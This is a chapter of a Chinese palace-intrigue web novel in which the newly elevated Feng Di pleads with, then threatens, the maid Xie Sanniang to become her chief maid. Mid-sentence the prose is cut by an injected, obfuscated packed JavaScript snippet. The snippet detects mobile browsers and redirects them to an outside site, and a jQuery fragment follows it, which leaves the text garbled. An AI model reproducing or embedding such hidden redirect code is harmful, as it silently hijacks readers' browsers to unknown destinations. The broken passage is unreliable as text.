西苑围着院子的三间屋子的门虚掩着,隐隐有光亮从缝里散落出来,这微弱的光芒与月光相映,照亮前院的路。
冯娣站在大门外头的阴影里,只留了半张脸往里瞧。
她不好意思进去,幸好要找的谢三娘就这样刚刚好从屋子里走出来,被她叫住。
“三娘,你为什么不来找我?”冯娣的声音一如当年那个清晨的幽然。
谢三娘自认倒霉,也知道逃不过这一遭,只能装作没听见,上前行礼:“冯主子,西苑是咱们奴婢住的地儿,您若是要找人,差人来一趟就是了,何必亲自动身。”
她的声音并不小,可以明显感受到后头几间屋子里的交谈声都淡了下来,几扇房门都悄无声息地从里头合上。
谢三娘是有心这么做的,冯娣悄悄来找她,想必就是要说上次的事情,她得让人知道她去了哪。
“我也是从这里出来的。”冯娣的表情僵在脸上,“你不必如此防备我。”
“奴婢不敢。”
见谢三娘没有什么其他的话,冯娣的神色慢慢缓和下来:“三娘,去我屋子里谈谈吧。”
谢三娘自然没有什么异议,迎着夜色穿过长廊,晚风吹过竟然还有些冷,她默不作声地裹紧了身上的衣服,后悔出来没有再多穿一件。
屋里的陈设和上次一样,没有什么很大的变动,衣服倒是多了几件,像是做得急,上头绣的桃花针脚粗糙,浪费了那么大一缎锦布。
“你为什么不来找我?”冯娣端坐在屋子里的唯一一张椅子上,从上到下凝视面前的人。
谢三娘只觉得那空洞洞的眼神里藏着幽怨、恨和希望这样矛盾的东西,像是要把人吸进去,赶紧低下头不再看。
“冯主子说笑了,奴婢最近都在柳嬷嬷的安排下做事,没得闲拜访您是我无礼了,奴婢向您赔罪。”说罢便作势要跪。
冯娣当然不会要她跪,把她扶起来,温言道:“你知道我不是这个意思。”
“还请冯主子提点。”谢三娘打定了心思要装糊涂。
其实也不算装,明明上次还说选秀结束再见,这会儿寻上门来问她没去找人家,算是个什么事儿?
冯娣愣了愣:“我指点你?”
随即自顾自地笑起来:“你是不是看不上我,不愿意当我的大宫女?”
“奴婢不敢。”
“你是敢的,对吧?”她将碎发拂至而后,不等谢三娘回答,继续说,“三娘,我入了储秀宫,成了秀女,我以为我从此可以高枕无忧,可是不是这样的。”
她越说越起劲,圆溜溜的双眸蓄上了晶莹的泪水,楚楚动人:“这里头的秀女非富即贵,她们瞧不上我,不愿意和我说话,打压我!我做错了什么?我只是想过的好一点!”
谢三娘听得心里唏嘘不已,但未执一言,她不知道对方为何突然说起这些,但明白自己此时最好不要出声为妙。
“她们出身富贵,从小锦衣玉食的,哪里能懂我的付出?她们的衣服都是上好的流云锦,那是我见都没见过的好东西,而我只能用这普通的锦亲手做衣服才不会被她们比下去!”
原来是她自己熬夜做的,谢三娘悄悄往边上瞥了一眼,绣工不算太好,哪怕真穿出去了,效果也不会太好,估计还是得被人嘲笑。
“你们也是……不是你,西苑那些人也是。她们看不上我,就算我成了主子她们都看不上我,她们有什么资格?她们凭什么?平时不愿意帮我,如今来了储秀宫连屋子都不愿意帮我整理!”
冯娣已然哭得梨花带雨,歇斯底里。
可就算如此,那双眼睛里仍旧没有什么情绪,像是泪珠都是凭空出现的,硬生生将声音与表情割裂。
“三娘,那天你帮了我但不求回报,还反过来安慰我家里的事儿,我就知道,你是心疼我的,只有你愿意对我好,”她拿帕子擦了擦脸,声音急切,“我不怪你编梦行的理由糊弄我了,我原谅你,我不生你的气了,你给我当大宫女好不好?”
谢三娘着实没想到冯娣是这样想她的,想解释几句又没有立场,奴婢有什么资格想主子解释?她开始痛恨自己低贱的身份,痛恨自己莫名其妙多出来的善心,给自己惹了这么大的一个麻烦。
“三娘,你怎么不说话?我知道,我进储秀宫的手段不光彩,你们都瞧不上。但是我能怎么办?我要赚钱养家……我是被家人卖进宫里的!”
“我听说刘御女殁了,宫里的流言都在传我会是下一个她!我不想死,三娘,你帮帮我,其他人我都信不过!”
冯娣字字恳切,若非是想起上次白芷的嘱咐,谢三娘几乎要被她的谎话连篇蒙骗了去。
以软弱获得别人的同情,当时遇上皇上,冯娣也是这么做的么?
她叹了口气,想起柳嬷嬷对她说不必放在心上,才缓缓道:“冯主子吉人自有天相,没人敢瞧不上您的。”
这是拒绝了,冯娣停止了哭泣,她脸上的泪珠缓缓干涸,两道泪痕凝固在脸上,直勾勾地眼神盯着她,不知道在想些什么。
谢三娘眼皮一跳,直觉没有好事。
果然冯娣再次开口之时,已然没了半分哭腔,不由自主地几声抽泣昭示着刚刚发生的一切并非做梦。
“三娘,我说了这么多,你都不愿意帮我,和那些人呆久了,你的心肠也硬了。”
谢三娘苦笑,冯娣可真会给她扣帽子,似乎不帮她就是做了什么十恶不赦的大事。
不过她的心肠或许真的是硬了,面对这样的话仍然能够一言不发,她想到白日里的瑾修仪,曾经见到的贤妃,冯娣在她们面前不堪一击。
软的不吃那就来硬的,冯娣脸上的泪还未干,嘴角却勾起来:“你瞧不上我,其实我也瞧不上你,可惜其他人我更瞧不上,被我选上你应该感到幸运才是。”
谢三娘被她的转变惊到,呆愣在原地。
“你不跟着我,是想选其他秀女吗?还是你想借着白芷的路子,进尚服局?”冯娣的声音冰寒刺骨。
而被猜中了心思的谢三娘死死握住了拳头,指甲都要嵌进肉里,她还是经历的事情不多,她想,她竟然被这样的三言两语就威胁到了。
“我知道,白芷带你去见了典衣,那又怎么样?确认人选是尚服要做的事,她一个典衣能顶什么用?还有白芷,小小的十品女官而已,等我得了势,有的是办法叫她为当初做过的事情付出代价!”
“您想怎么做?”谢三娘觉得自己就应该随手在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142194|179715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边上抄起一个硬东西砸在对方头上,好叫冯娣真的落得和刘御女一样的下场,可惜出门前所有的人都知道她在冯娣这,真是搬起石头砸了自己的脚。
“三娘,你很聪明,怕你多心我就直说了,我上头有人,整个六尚局都得老老实实听她的,只要我跟她说一声,你就会彻彻底底与六尚局无缘,你以为她们会为了你一个新来的宫女与人家位高权重的人为敌吗?”
冯娣仰头大笑:“你瞧不上我,多的是人也不把你放在眼里!没关系,我不计较你怎么想,只要你愿意当我的大宫女,愿意帮我上位,我都可以不计前嫌!”
她就像个歇斯底里的疯子,谢三娘最开始听说她的身世觉得她可怜,后来因为欺骗觉得她可恨,现在却觉得自己从来都没有看清过对方。
这种思绪是谢三娘费劲了心思也无法理解和苟同的,倒是冯娣说她上头有人叫她心里打了个寒颤。
她不认为这句话是假的,否则宫里那么多想做凤凰的,怎么偏偏就她入了眼。
可这个人是贵妃、贤妃、亦或者是嚣张跋扈的瑾修仪?
她不怕得罪冯娣,但是得罪这些人是她有几个脑袋都不敢做的事情。
固然如此,但她还是不会答应对方,未来的事总有时间转圜,而眼前的龙潭虎穴她必然不可能跳。
“你还是不愿意?”冯娣终于站起身,她绕过谢三娘将门打开,一股凉风袭来,吹散了屋里的浊气。
“我早该想到的,罢了,你等着,我刚刚的话说到做到,我要让你回来求我当我的大宫女!”说罢便抬手将谢三娘“请”了出去。
谢三娘长舒一口气:“奴婢告退。”
等回到了西苑,屋子里的烛火还没有灭,她提起一口气,推开门进去。
同屋的孙茹、尚怀、郁晓凡等到其他人一股脑都围了上来,眼里有担忧,有好奇,还有人有些幸灾乐祸。
“你没事吧,她都找你两次了。”尚怀叹气,郁晓凡则是仔细打量她身上的衣服,确认没有什么不好的痕迹之后,才放下心来。
孙茹摇头:“莫非是真让我说中了,冯娣因着你不理她而记恨于你?”
“你个乌鸦嘴,就不能说点好话吗?”尚怀给她的肩膀来了一拳,“还是听听三娘怎么说罢。”
上次冯娣来找,谢三娘是取了个叙旧的借口,如今第二次却是不好瞒,也没有必要瞒了。
她平静地说道:“冯娣想让我当她的大宫女。”
“这怎么行?”尚怀几乎要跳起来,“这冯娣自己不知道自己都做了些什么事儿吗?怎么还好意思叫我们这群人当她的宫女,三娘,你可去不得!”
“就是就是,别忘了刘御女,这冯娣没准就是第二个她,三娘你过去不就是受罪吗?”说话的是蒋木双,她言辞振振,为谢三娘打抱不平。
她这话一说出口,所有人都开始劝谢三娘,毕竟宫里的通识便有一条是说:侍奉过死人的宫女身上会沾上晦气,一辈子都不会再有出人头地的机会。
谢三娘瞥了眼蒋木双,低头叹气道:“我也知道,可是她是主子,似乎还傍上了贵人,哪有我们拒绝的余地。”
说完这句话,她眼一斜,继续悄悄盯着蒋木双的动作。